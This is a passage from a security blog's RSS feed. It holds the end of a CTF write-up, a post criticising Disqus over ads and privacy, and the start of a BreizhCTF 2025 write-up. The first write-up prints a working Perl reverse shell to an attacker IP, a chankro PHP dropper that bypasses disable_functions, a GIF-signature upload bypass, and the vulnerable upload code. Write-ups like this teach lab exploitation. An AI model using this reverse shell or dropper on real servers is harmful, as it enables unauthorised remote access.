<code>open_basedir</code> in PHP by calling <code>sendmail</code> and setting <code>LD_PRELOAD</code> environment variable</p><p><a href="https://inventory.raw.pm/tools.html#Chankro">Ref</a></p></blockquote><p>I already used this tool during <a href="https://blog.raw.pm/en/ECSC-2019-Quals-write-ups/">ECSC 2019 Quals</a>.</p><p>First, I'll create the reverse shell (<code>rev.sh</code>) I want to use on <a href="https://www.revshells.com">revshells.com</a> (OS: Linux, Type: Perl, Shell: <code>/bin/bash</code>, IP: THM VPN one, Port: 80).</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">perl</span><span style="color:#D19A66"> -e</span><span style="color:#98C379"> 'use Socket;$i="10.21.34.47";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&#x26;S");open(STDOUT,">&#x26;S");open(STDERR,">&#x26;S");exec("/bin/bash -i");};'</span></span></code></pre></div></div></figure><p>Then let's use <code>chankro</code> to generate the bypass PHP dropper. We already found the path of the web root on the <code>phpinfo.php</code> page.</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">chankro</span><span style="color:#D19A66"> --arch</span><span style="color:#D19A66"> 64</span><span style="color:#D19A66"> --input</span><span style="color:#98C379"> rev.sh</span><span style="color:#D19A66"> --output</span><span style="color:#98C379"> dropper.php</span><span style="color:#D19A66"> --path</span><span style="color:#98C379"> /var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/uploads</span></span></code></pre></div></div></figure><p>As during the previous test, we need to spoof the GIF signature.</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">cat</span><span style="color:#98C379"> gif.txt</span><span style="color:#98C379"> dropper.php</span><span style="color:#ABB2BF"> > </span><span style="color:#98C379">dropper_obfu.php</span></span></code></pre></div></div></figure><p>By the way, little tips, to be able to bind port under 1024 without root:</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> sysctl</span><span style="color:#D19A66"> -w</span><span style="color:#98C379"> net.ipv4.ip_unprivileged_port_start=</span><span style="color:#D19A66">0</span><span style="color:#ABB2BF"> | </span><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> tee</span><span style="color:#D19A66"> -a</span><span style="color:#98C379"> /etc/sysctl.d/99-custom.conf</span></span></code></pre></div></div></figure><p>Launch a listener and trigger dropper_obfu.php to get a shell.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ ncat -lvnp 80</span></span><span class="line"><span>Ncat: Version 7.95 ( https://nmap.org/ncat )</span></span><span class="line"><span>Ncat: Listening on [::]:80</span></span><span class="line"><span>Ncat: Listening on 0.0.0.0:80</span></span><span class="line"><span>Ncat: Connection from 10.10.154.25:42852.</span></span><span class="line"><span>bash: cannot set terminal process group (743): Inappropriate ioctl for device</span></span><span class="line"><span>bash: no job control in this shell</span></span><span class="line"><span>www-data@ubuntu:/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/uploads$</span></span><span class="line"><span>www-data@ubuntu:/$ id</span></span><span class="line"><span>uid=33(www-data) gid=33(www-data) groups=33(www-data)</span></span><span class="line"><span>www-data@ubuntu:/$ ls -lh /home</span></span><span class="line"><span>total 4.0K</span></span><span class="line"><span>drwxr-xr-x 4 s4vi s4vi 4.0K Jun 23  2021 s4vi</span></span><span class="line"><span>www-data@ubuntu:/$ cd /home/s4vi</span></span><span class="line"><span>www-data@ubuntu:/home/s4vi$ ls -lhA .</span></span><span class="line"><span>total 36K</span></span><span class="line"><span>-rw------- 1 root root 6.0K Jun 23  2021 .bash_history</span></span><span class="line"><span>-rw-r--r-- 1 s4vi s4vi  220 Jun 22  2021 .bash_logout</span></span><span class="line"><span>-rw-r--r-- 1 s4vi s4vi 3.7K Jun 22  2021 .bashrc</span></span><span class="line"><span>drwx------ 2 s4vi s4vi 4.0K Jun 22  2021 .cache</span></span><span class="line"><span>drwxrwxr-x 2 s4vi s4vi 4.0K Jun 23  2021 .nano</span></span><span class="line"><span>-rw-r--r-- 1 s4vi s4vi  655 Jun 22  2021 .profile</span></span><span class="line"><span>-rw-r--r-- 1 s4vi s4vi    0 Jun 23  2021 .sudo_as_admin_successful</span></span><span class="line"><span>-rw-r--r-- 1 root root  183 Jun 23  2021 .wget-hsts</span></span><span class="line"><span>-rw-rw-r-- 1 s4vi s4vi   37 Jun 23  2021 flag.txt</span></span><span class="line"><span>www-data@ubuntu:/home/s4vi$ cat flag.txt</span></span><span class="line"><span>thm{…}</span></span></code></pre></div></div></figure><h2 id="Post-exploitation-exploration">Post-exploitation exploration<a class="header-anchor" href="#Post-exploitation-exploration">#</a></h2><p><code>/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/cv.php</code></p><figure class="shiki php"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#56B6C2">&#x3C;!</span><span style="color:#ABB2BF">DOCTYPE html</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#ABB2BF">html lang</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"en"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">  &#x3C;</span><span style="color:#ABB2BF">head</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#ABB2BF">[…]</span></span><span class="line"><span style="color:#56B6C2">  &#x3C;/</span><span style="color:#ABB2BF">head</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">  &#x3C;</span><span style="color:#ABB2BF">body</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">      &#x3C;!</span><span style="color:#ABB2BF">-- Header Section Start --</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#ABB2BF">[…]</span></span><span class="line"><span style="color:#56B6C2">      &#x3C;!</span><span style="color:#ABB2BF">-- Header Section End --</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">      &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"search-container"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">      &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;/</span><span style="color:#ABB2BF">section</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;!</span><span style="color:#ABB2BF">-- end intro section --</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">    &#x3C;!</span><span style="color:#ABB2BF">-- Find Job Section Start --</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;</span><span style="color:#ABB2BF">section </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"find-job section"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">      &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"container"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#ABB2BF">h2 </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"section-title"</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF">Send your cv in image format</span><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">h2</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"row"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">          &#x3C;</span><span style="color:#ABB2BF">form enctype</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"multipart/form-data"</span><span style="color:#ABB2BF"> action</span><span style="color:#56B6C2">=</span><span style="color:#98C379">""</span><span style="color:#ABB2BF"> method</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"POST"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#ABB2BF">input name</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"file"</span><span style="color:#ABB2BF"> type</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"file"</span><span style="color:#56B6C2"> /></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#ABB2BF">input type</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"submit"</span><span style="color:#ABB2BF"> value</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"Subir archivo"</span><span style="color:#56B6C2"> /></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;/</span><span style="color:#ABB2BF">form</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">          &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php</span></span><span class="line"><span style="color:#E06C75">            $mimetype</span><span style="color:#56B6C2"> =</span><span style="color:#56B6C2"> mime_content_type</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$_FILES</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'file'</span><span style="color:#ABB2BF">][</span><span style="color:#98C379">'tmp_name'</span><span style="color:#ABB2BF">]);</span></span><span class="line"><span style="color:#C678DD">            if</span><span style="color:#ABB2BF">(</span><span style="color:#56B6C2">in_array</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$mimetype</span><span style="color:#ABB2BF">,</span><span style="color:#56B6C2"> array</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'image/jpeg'</span><span style="color:#ABB2BF">,</span><span style="color:#98C379"> 'image/gif'</span><span style="color:#ABB2BF">,</span><span style="color:#98C379"> 'image/png'</span><span style="color:#ABB2BF">))) {</span></span><span class="line"><span style="color:#56B6C2">            move_uploaded_file</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$_FILES</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'file'</span><span style="color:#ABB2BF">][</span><span style="color:#98C379">'tmp_name'</span><span style="color:#ABB2BF">],</span><span style="color:#98C379"> 'uploads/'</span><span style="color:#ABB2BF"> .</span><span style="color:#E06C75"> $_FILES</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'file'</span><span style="color:#ABB2BF">][</span><span style="color:#98C379">'name'</span><span style="color:#ABB2BF">]);</span></span><span class="line"><span style="color:#56B6C2">                echo</span><span style="color:#98C379"> 'OK'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">            } </span><span style="color:#C678DD">else</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#56B6C2">            echo</span><span style="color:#98C379"> 'Upload a real image'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#C678DD">            exit</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">           }</span></span><span class="line"><span style="color:#C678DD">          ?</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">>></span></span><span class="line"><span style="color:#56B6C2">          &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;/</span><span style="color:#ABB2BF">section</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;/</span><span style="color:#ABB2BF">footer</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;!</span><span style="color:#ABB2BF">-- Main JS  --</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#ABB2BF">[…]</span></span><span class="line"><span style="color:#56B6C2">  &#x3C;/</span><span style="color:#ABB2BF">body</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">html</span><span style="color:#56B6C2">></span></span></code></pre></div></div></figure><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">grep</span><span style="color:#D19A66"> -vP</span><span style="color:#98C379"> '(?:^\;)|(?:^$)'</span><span style="color:#98C379"> /etc/php/7.0/apache2/php.ini</span></span></code></pre></div></div></figure><figure class="shiki ini"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">[PHP]</span></span><span class="line"><span style="color:#C678DD">engine</span><span style="color:#ABB2BF"> =</span><span style="color:#98C379"> On</span></span><span class="line"><span style="color:#C678DD">short_open_tag</span><span style="color:#ABB2BF"> =</span><span style="color:#98C379"> Off</span></span><span class="line"><span style="color:#C678DD">precision</span><span style="color:#ABB2BF"> =</span><span style="color:#98C379"> 14</span></span><span class="line"><span style="color:#C678DD">output_buffering</span><span style="color:#ABB2BF"> =</span><span style="color:#98C379"> 4096</span></span><span class="line"><span style="color:#C678DD">zlib.output_compression</span><span style="color:#ABB2BF"> =</span><span style="color:#98C379"> Off</span></span><span class="line"><span style="color:#C678DD">implicit_flush</span><span style="color:#ABB2BF"> =</span><span style="color:#98C379"> Off</span></span><span class="line"><span style="color:#C678DD">unserialize_callback_func</span><span style="color:#ABB2BF"> =</span></span><span class="line"><span style="color:#C678DD">serialize_precision</span><span style="color:#ABB2BF"> =</span><span style="color:#98C379"> 17</span></span><span class="line"><span style="color:#C678DD">open_basedir</span><span style="color:#ABB2BF"> =</span><span style="color:#98C379"> none</span></span><span class="line"><span style="color:#C678DD">disable_functions</span><span style="color:#ABB2BF"> =</span><span style="color:#98C379"> exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl</span></span><span class="line"><span style="color:#98C379">_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getprior</span></span><span class="line"><span style="color:#98C379">ity,pcntl_setpriority,</span></span><span class="line"><span style="color:#61AFEF">[…]</span></span></code></pre></div></div></figure><p><code>/etc/apache2/sites-enabled/000-default.conf</code></p><figure class="shiki xml"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">VirtualHost</span><span style="color:#ABB2BF"> *:80></span></span><span class="line"><span style="color:#ABB2BF">[…]</span></span><span class="line"><span style="color:#ABB2BF">        ServerAdmin webmaster@localhost</span></span><span class="line"><span style="color:#ABB2BF">        DocumentRoot /var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db</span></span><span class="line"></span><span class="line"><span style="color:#ABB2BF">        ErrorLog ${APACHE_LOG_DIR}/error.log</span></span><span class="line"><span style="color:#ABB2BF">        CustomLog ${APACHE_LOG_DIR}/access.log combined</span></span><span class="line"><span style="color:#ABB2BF">[…]</span></span><span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">VirtualHost</span><span style="color:#ABB2BF">></span></span></code></pre></div></div></figure><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>Disqus: End of Discussion</title>
      <link>https://blog.raw.pm/en/disqus-end-of-discussion/</link>
      <description>
        <![CDATA[<h2 id="Introduction-the-error-of-not-choosing">Introduction: the error of not choosing<a class="header-anchor" href="#Introduction-the-erro]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/misc/">misc</category>
      <category domain="https://blog.raw.pm/tags/blog/">blog</category>
      <category domain="https://blog.raw.pm/tags/comments/">comments</category>
      <pubDate>Tue, 18 Mar 2025 10:12:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h2 id="Introduction-the-error-of-not-choosing">Introduction: the error of not choosing<a class="header-anchor" href="#Introduction-the-error-of-not-choosing">#</a></h2><p>Disqus is one of the major third-party commenting and discussion system.</p><p>However, I never really chose to use Disqus.It was a bit of an imposition because it was more or less the only system supported for my theme.Indeed, <a href="https://github.com/ppoffice/hexo-theme-hueman/wiki/Comment">hexo-theme-hueman</a> was supporting Disqus, Duoshuo and YouYan. Later more comment system support were added, but most of them were Chinese only. So I ended up picking Disqusbecause it was the only Latin language friendly option.</p><p>As I never really checked the pros and cons, or compared it with competitors I was happy about it until they forced ads injection into my website.</p><p><img src="https://i.imgur.com/ECibHq3.png" alt="Disqus force ads on basic plan https://e.customeriomail.com/deliveries/dgTw7wMAAOLwe93wewGUwlkPmKSlkSOlCY6C5V8="></p><blockquote><p>Hi there,</p><p>You're currently on our free Disqus Basic plan, which is our ad-supported tier that comes with only the most rudimentary features.</p><p>Ads will begin appearing on your comment section shortly.</p><p>Not interested in ads? No problem—we offer ad-free subscription packages, Disqus Plus and Disqus Pro, that come with more advanced engagement features like community Badges, enhanced moderation features that get rid of spam &amp; toxic comments, and powerful analytics dashboards that give you detailed metrics about your commenting community that the content that resonates with them.</p><p>We're currently offering free 30-day trials of both Disqus Plus and Disqus Pro. Just click the button below to learn more about our ad-free subscription packages and sign up for your free trial today!</p><p><em>Source: email &quot;Account update: ads will begin appearing on your comment section&quot; from <a href="mailto:hello@disqus.com">hello@disqus.com</a>, 01/03/2025</em></p></blockquote><h2 id="The-beginning-of-the-end">The beginning of the end<a class="header-anchor" href="#The-beginning-of-the-end">#</a></h2><p>About one month after I received this message, Disqus started to inject ads in my section comment, because I was using the Basic Plan (Free).</p><p>It could be ok, since it's a free plan, it could be a way to pay for it.</p><p>But is the ads in an acceptable format? Respecting privacy? Will they share revenue with me?</p><h2 id="Sharing-revenue">Sharing revenue<a class="header-anchor" href="#Sharing-revenue">#</a></h2><p>A month after I was told now ads are forcefully injected into my website, I was also invited to check if I'm eligible to earn from the revenue sharing program.</p><p><img src="https://i.imgur.com/OLGAtXi.png" alt="Disqus offers a sharing revenue program https://e.customeriomail.com/deliveries/dgTw7wMAAOLwe93wewGUwlkPmKSlkSOlCY6C5V8="></p><blockquote><p>Hi there,</p><p>You're currently using our ad-supported Basic plan. Did you know that you can potentially begin earning a significant portion of your ad revenue? For eligible publishers, we offer a generous revenue-sharing program that aims to give back to our customers.</p><p>Interested in seeing if you qualify? Just go ahead and respond directly to this email and we'll get back to you with more information.</p><p>Do you want to remove ads completely? We have ad-free subscription plans, Disqus Plus and Disqus Pro, that both come with advanced features and functionality. Check out our pricing &amp; plans page for more information about how to subscribe and remove ads today.</p><p><em>Source: email &quot;Want to start earning a share of your ad revenue?&quot; from <a href="mailto:hello@disqus.com">hello@disqus.com</a>, 01/03/2025</em></p></blockquote><p>I already knew I would remove Disqus from my website as I don't want ads on it. But I wanted to check what they had to offer to see if was a scam (90% for them and 10% for me) or is the offer was really <strong>generous</strong> as they claimed.</p><p>Note: Yes removing Disqus, as this website is open-source, has no ads, not user tracking, no data selling and no revenue, I wouldn't pay $20/month to removed ads.</p><p>So I showed them the visit metrics: 230 000 visits in less than the last 3 years, at a rate of about 3000 to 7000 visits a month.</p><p>The answer?</p><blockquote><p>To clarify, enabling Disqus ads is not the same as being enrolled in our Revenue Sharing program.</p></blockquote><p>You see the “we tell the world we have generous revenue sharing but in reality nobody is eligible to it so we have a good image but keep all the money” coming?</p><p>Also, are they skilled?</p><blockquote><p>Please provide me with the email address and username of associated with your account, so that we may check your eligibility. We found no Disqus accounts under the email redacted@redacted.</p></blockquote><p>I was literally writing to them from the same email address as my account was using, so I even shared a screenshot of my profile.</p><blockquote><p>I sincerely apologize for the mixup - we were able to locate your account/site.</p></blockquote><p>They finally found me, so they were able to give me an answer:</p><blockquote><p>We have reviewed your site and it does not currently qualify as a good fit for the Disqus revenue-sharing program at this time. Try focusing on increasing the engagement on your site, and feel free to reach back out in 6 months for another review.</p></blockquote><p>Nice, so what do you need to be eligible to revenue sharing? 10 millions visits a month? LOL. Nobody knows. They will probably inject ads on hundred of thousands of websites and won't share a penny with them, as the criteria for eligibility are not public, you don't even know what to target.</p><h2 id="Intrusive-or-acceptable-ads">Intrusive or acceptable ads?<a class="header-anchor" href="#Intrusive-or-acceptable-ads">#</a></h2><p>Look at that:</p><p><img src="https://i.imgur.com/KYTLKTQ.jpeg" alt="Disqus massive ads banner"></p><p>Their ads are abusive and invasive, it does not respect the modern industry standards like <a href="https://acceptableads.com/standard/">https://acceptableads.com/standard/</a>. Let's see if they check the rules:</p><ol><li><strong>Distinction</strong>: 🟡 it's not tagged as <em>advertisement</em> but as <em>sponsored</em> but at least it's tagged.</li><li><strong>Size</strong>:</li></ol><ul><li>🔴 &quot;If placed lower on the page, ads must not collectively occupy more than 25% of the visible portion of the webpage.&quot;</li><li>🔴 &quot;Up to 400px high for ads below the Primary Content&quot;</li></ul><p>Indeed, the ads on top of the comment section is 700px * 700px which is nearly two times maximum acceptable size for ads below the Primary Content which is already the most favorable scenario. Even if you set your web browser on full-screen and can use 100% of the height of your display, for a 1080px that is more than 64% of the height. But with windows decoration, URL bar, shortcut bar, etc. that will more likely be above 75%. A similarly massive banner is also present below the comment section.</p><p>Disqus is neither respecting the readers nor the bloggers with those kinds of ads.</p><h2 id="Privacy-let-me-laugh">Privacy: let me laugh<a class="header-anchor" href="#Privacy-let-me-laugh">#</a></h2><p>TL;DR: they sold your data and still are, they did so even without your consent, and risk to face justice for that.</p><ul><li><a href="https://web.archive.org/web/20170822220838/https://support.mayfirst.org/ticket/5667">Issue discussing Disqus Terms of Service regarding selling your data and privacy</a></li><li><a href="https://web.archive.org/web/20120628193942/http://cyberlaw.stanford.edu/node/6701">CIS — There is no such thing as anonymous online tracking</a></li><li><a href="https://help.disqus.com/en/articles/1717103-disqus-privacy-policy">Disqus <s>lack of</s> Privacy Policy</a></li><li><a href="https://www.baekdal.com/trends/the-first-rule-of-privacy">Baekdal — The First Rule of Privacy</a></li><li><a href="https://www.logora.com/blog-posts/data-privacy-concerns-disqus">Logora — Data Privacy Concerns: Why Disqus May Not Be Safe for Your Participation System</a></li><li><a href="https://techcrunch.com/2021/05/05/disqus-facing-3m-fine-in-norway-for-tracking-users-without-consent/">techcrunch — Disqus facing $3M fine in Norway for tracking users without consent</a></li></ul><p>Also, not removing your data when you ask them to:</p><ul><li><a href="https://web.archive.org/web/20151222093615/https://help.disqus.com/customer/portal/questions/8012498-why-when-i-delete-a-comment-from-sites-does-it-then-come-back-as-a-guest-comment-">Anonymizing comments instead of removing them</a></li></ul><p>Affiliate links injection:</p><ul><li><a href="https://disqus.com/home/discussion/channel-discussdisqus/disqus_reveal_affiliate_links_on_by_default_bad_for_seo/">Disqus Reveal affiliate links on by default, bad for SEO</a></li></ul><h2 id="Security-Not-better">Security? Not better<a class="header-anchor" href="#Security-Not-better">#</a></h2><p><strong>2013</strong> — 29 million online comments leak:</p><ul><li><a href="https://www.thelocal.se/20131212/millions-of-disqus-comments-leaked-to-swedish-group">The Local — Swedes uncover Disqus user security breach</a></li></ul><p><strong>2017</strong> — database containing 17.5 million users' email addresses leak:</p><ul><li><a href="https://web.archive.org/web/20171006233027/https://blog.disqus.com/security-alert-user-info-breach">Disqus — Security Alert: User Info Breach</a></li></ul><h2 id="Cheaper-better-more-ethical-alternatives">Cheaper, better, more ethical alternatives<a class="header-anchor" href="#Cheaper-better-more-ethical-alternatives">#</a></h2><p>Hopefully, there are tons of competitive alternatives nowadays:</p><ul><li><a href="https://commentbox.io/">https://commentbox.io/</a> — No ads, free tier has unlimited page view and limited to 100 comments / month</li><li><a href="https://giscus.app/">https://giscus.app/</a> — No ads, 100% free, open-source, based on GitHub</li><li><a href="https://www.graphcomment.com/">https://www.graphcomment.com/</a> — No ads, free tier allows 1 million views / month, graph based</li><li><a href="https://cusdis.com/">https://cusdis.com/</a> — Open-source, free tier is limited to 1 site and has 100 approved comments / month</li></ul><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>BreizhCTF 2k25 - Write-ups</title>
      <link>https://blog.raw.pm/fr/BreizhCTF-2025-write-ups/</link>
      <description>
        <![CDATA[<h2 id="Information">Information<a class="header-anchor" href="#Information">#</a></h2>
<h3 id="CTF">CTF<a class="header-anchor" href="#CTF"]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/security/">security</category>
      <category domain="https://blog.raw.pm/tags/web/">web</category>
      <category domain="https://blog.raw.pm/tags/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/ctf/">ctf</category>
      <pubDate>Thu, 06 Mar 2025 20:48:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h2 id="Information">Information<a class="header-anchor" href="#Information">#</a></h2><h3 id="CTF">CTF<a class="header-anchor" href="#CTF">#</a></h3><ul><li><strong>Nom</strong> : BreizhCTF 2k25</li><li><strong>Site web</strong> : <a href="https://www.breizhctf.com/">www.breizhctf.com</a></li><li><strong>Type</strong> : Sur site — France — Rennes</li><li><strong>Format</strong> : Jeopardy</li></ul><h2 id="Web-CurlMania">Web - CurlMania<a class="header-anchor" href="#Web-CurlMania">#</a></h2><blockquote><p>Vous n'avez qu'une seule chose à faire, suivre les instructions...</p><p>Auteur : <a href="https://x.com/bWlrYQ">Mika</a></p></blockquote><p>Le site <a href="https://curlmania.ctf.bzh/">https://curlmania.ctf.bzh/</a> nous donnera le flag si nous réussissons à envoyer une requête HTTP respectant toutes les règles édictées (avec curl).</p><p>Une première tentative est la suviante :</p><figure class="shiki bash"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">curl</span><span style="color:#98C379"> https://curlmania.ctf.bzh/1337?a=</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">&#x26;</span><span style="color:#E06C75">b</span><span style="color:#56B6C2">=</span><span style="color:#98C379">2</span><span style="color:#ABB2BF">&#x26;</span><span style="color:#E06C75">c</span><span style="color:#56B6C2">=</span><span style="color:#98C379">35</span><span style="color:#61AFEF"> --user-agent</span><span style="color:#98C379"> "J'aime la galette saucisse"</span><span style="color:#56B6C2"> \</span></span><span class="line"><span style="color:#D19A66">  -X</span><span style="color:#98C379"> GET</span><span style="color:#D19A66"> -H</span><span style="color:#98C379"> 'LIBEREZ-GCC: OUI'</span><span style="color:#D19A66"> -H</span><span style="color:#98C379"> 'Cookie: jaiplustropdinspi=1'</span><span style="color:#D19A66"> -H</span><span style="color:#98C379"> 'content-type: application/json'</span><span style="color:#56B6C2"> \</span></span><span class="line"><span style="color:#D19A66">  -d</span><span style="color:#98C379"> '{"enbretagne":"il fait toujours beau"}'</span><span style="color:#D19A66"> -H</span><span style="color:#98C379"> 'content-length: 1337'</span><span style="color:#56B6C2"> \</span></span><span class="line"><span style="color:#D19A66">  -H</span><span style="color:#98C379"> "referer: Je jure solennellement que mes intentions sont mauvaises mais je ne vais pas taper sur l'infra"</span></span></code></pre></div></div></figure><p>Mais le problème est que curl calcule automatiquement le <code>content-length</code>, donc 2 en-têtes sont envoyés et le dernier seulement sera pris en compte par le serveur (38 aura la précédence sur 1337).</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>> GET /1337?a=1&#x26;b=2&#x26;c=35 HTTP/2</span></span><span class="line"><span>> Host: curlmania.ctf.bzh</span></span><span class="line"><span>> User-Agent: J'aime la galette saucisse</span></span><span class="line"><span>> Accept: */*</span></span><span class="line"><span>> LIBEREZ-GCC: OUI</span></span><span class="line"><span>> Cookie: jaiplustropdinspi=1</span></span><span class="line"><span>> content-type: application/json</span></span><span class="line"><span>> referer: Je jure solennellement que mes intentions sont mauvaises mais je ne vais pas taper sur l'infra</span></span><span class="line"><span>> content-lenght: 1337</span></span><span class="line"><span>> Content-Length: 38</span></span></code></pre></div></div></figure><p>Le plus simple reste peut-être de faire passer la sortie de curl dans Burp (avec l'option <code>-x</code> de curl) et de virer le second en-tête et de désactiver <em>Update Content-Length</em> dans les options du Burp Repeater.</p><figure class="shiki bash"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">curl</span><span style="color:#98C379"> https://curlmania.ctf.bzh/1337?a=</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">&#x26;</span><span style="color:#E06C75">b</span><span style="color:#56B6C2">=</span><span style="color:#98C379">2</span><span style="color:#ABB2BF">&#x26;</span><span style="color:#E06C75">c</span><span style="color:#56B6C2">=</span><span style="color:#98C379">35</span><span style="color:#61AFEF"> --user-agent</span><span style="color:#98C379"> "J'aime la galette saucisse"</span><span style="color:#56B6C2"> \</span></span><span class="line"><span style="color:#D19A66">  -X</span><span style="color:#98C379"> GET</span><span style="color:#D19A66"> -H</span><span 